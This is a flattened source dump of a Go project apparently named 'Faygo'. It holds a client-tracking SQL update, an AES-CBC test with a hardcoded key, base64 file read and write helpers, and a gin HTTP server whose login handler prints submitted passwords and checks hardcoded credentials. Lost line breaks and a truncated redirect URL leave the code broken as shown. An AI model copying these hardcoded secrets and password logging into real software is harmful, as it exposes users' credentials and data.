client SET os_type='linux', wan_ip='7.6.6.7',lan_ip='10.0.0.1' ,latest_time='2021-01-13 15:48:02' ,client_status=1 where client_mac = 'testmac'; -------------------------------------------------------------------------------- /server/module/example/ciphertest.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/base64" 5 | "fmt" 6 | 7 | cipher "Faygo/server/module/cipher" 8 | ) 9 | 10 | const aeskey = "whoisyourdaddy77" 11 | 12 | func main() { 13 | plaintext := []byte("whois yourdaddy") 14 | fmt.Println("plaintext:", string(plaintext)) 15 | 16 | 17 | cryptText, err := cipher.AesCbcEncrypt(plaintext, []byte(aeskey)) 18 | if err != nil { 19 | fmt.Println(err) 20 | } 21 | fmt.Println("encrypt_text:", base64.StdEncoding.EncodeToString(cryptText)) 22 | 23 | 24 | newplaintext, err := cipher.AesCbcDecrypt(cryptText, []byte(aeskey)) 25 | if err != nil { 26 | fmt.Println(err) 27 | } 28 | 29 | fmt.Println("decrypt_text", string(newplaintext)) 30 | } 31 | -------------------------------------------------------------------------------- /server/module/file/filedeal.go: -------------------------------------------------------------------------------- 1 | package fileimport ( 2 | "encoding/base64" 3 | "io" 4 | "os" 5 | )func FileToHex(filelo string) string { 6 | f, err := os.Open(filelo) 7 | if err != nil { 8 | panic(err) 9 | } 10 | defer f.Close() chunks := make([]byte, 0) 11 | buf := make([]byte, 1024) 12 | for { 13 | n, err := f.Read(buf) 14 | if err != nil && err != io.EOF { 15 | panic(err) 16 | } 17 | if 0 == n { 18 | break 19 | } 20 | chunks = append(chunks, buf[:n]...) 21 | } 22 | 23 | return base64.StdEncoding.EncodeToString(chunks) 24 | }func CheckFileIsExist(filename string) bool { 25 | if _, err := os.Stat(filename); os.IsNotExist(err) { 26 | return false 27 | } 28 | return true 29 | }func HexToFile(fileencode string, filelo string) string { 30 | filebyte, err := base64.StdEncoding.DecodeString(fileencode) 31 | if err != nil { 32 | panic(err) 33 | 34 | } 35 | var f *os.File 36 | var err1 error 37 | if CheckFileIsExist(filelo) { 38 | f, err1 = os.OpenFile(filelo, os.O_APPEND, 0666) 39 | if err1 != nil { 40 | panic(err1) 41 | } 42 | return "文件存在" 43 | } else { 44 | f, err1 = os.Create(filelo) if err1 != nil { 45 | panic(err1) 46 | } } 47 | defer f.Close() 48 | f.Write(filebyte) 49 | 50 | 51 | f.Sync() 52 | return "文件写入成功" 53 | } 54 | -------------------------------------------------------------------------------- /server/module/httpserver/startserver.go: -------------------------------------------------------------------------------- 1 | package httpserverimport ( 2 | "fmt" 3 | "io/ioutil" 4 | "net/http" "github.com/gin-gonic/gin" 5 | )func StartHttpServer() { 6 | router := gin.Default() 7 | router.POST("/post", PostJson) 8 | router.POST("/login", LoginParms) 9 | router.GET("/", HttpDefault) 10 | router.POST("/", HttpPost) 11 | router.Run(":5000") 12 | }func PostJson(c *gin.Context) { 13 | data, err := ioutil.ReadAll(c.Request.Body) 14 | if err != nil { 15 | c.JSON(http.StatusOK, gin.H{ 16 | "error": err, 17 | }) 18 | } else { 19 | c.JSON(http.StatusOK, gin.H{ 20 | "json": string(data), 21 | }) 22 | } 23 | } 24 | func HttpDefault(c *gin.Context) { 25 | 26 | c.Redirect(302, "https: 27 | } 28 | func HttpPost(c *gin.Context) { 29 | data, err := ioutil.ReadAll(c.Request.Body) 30 | if err != nil { 31 | c.JSON(http.StatusOK, gin.H{ 32 | "error": err, 33 | }) 34 | } else { 35 | c.String(http.StatusOK, string(data)) 36 | fmt.Println(string(data)) 37 | } 38 | }type LoginForm struct { 39 | User string `json:"user" binding:"required"` 40 | Password string `json:"password" binding:"required"` 41 | }func LoginParms(c *gin.Context) { 42 | form := &LoginForm{} 43 | 44 | if c.BindJSON(&form) == nil { 45 | fmt.Println(form.User, form.Password) 46 | if form.User == "user" && form.Password == "password" { 47 | c.JSON(200, gin.H{"status": "you are logged in"}) 48 | } else { 49 | c.JSON(401, gin.H{"status": "unauthorized"}) 50 | } 51 | } 52 | } 53 | --------------------------------------------------------------------------------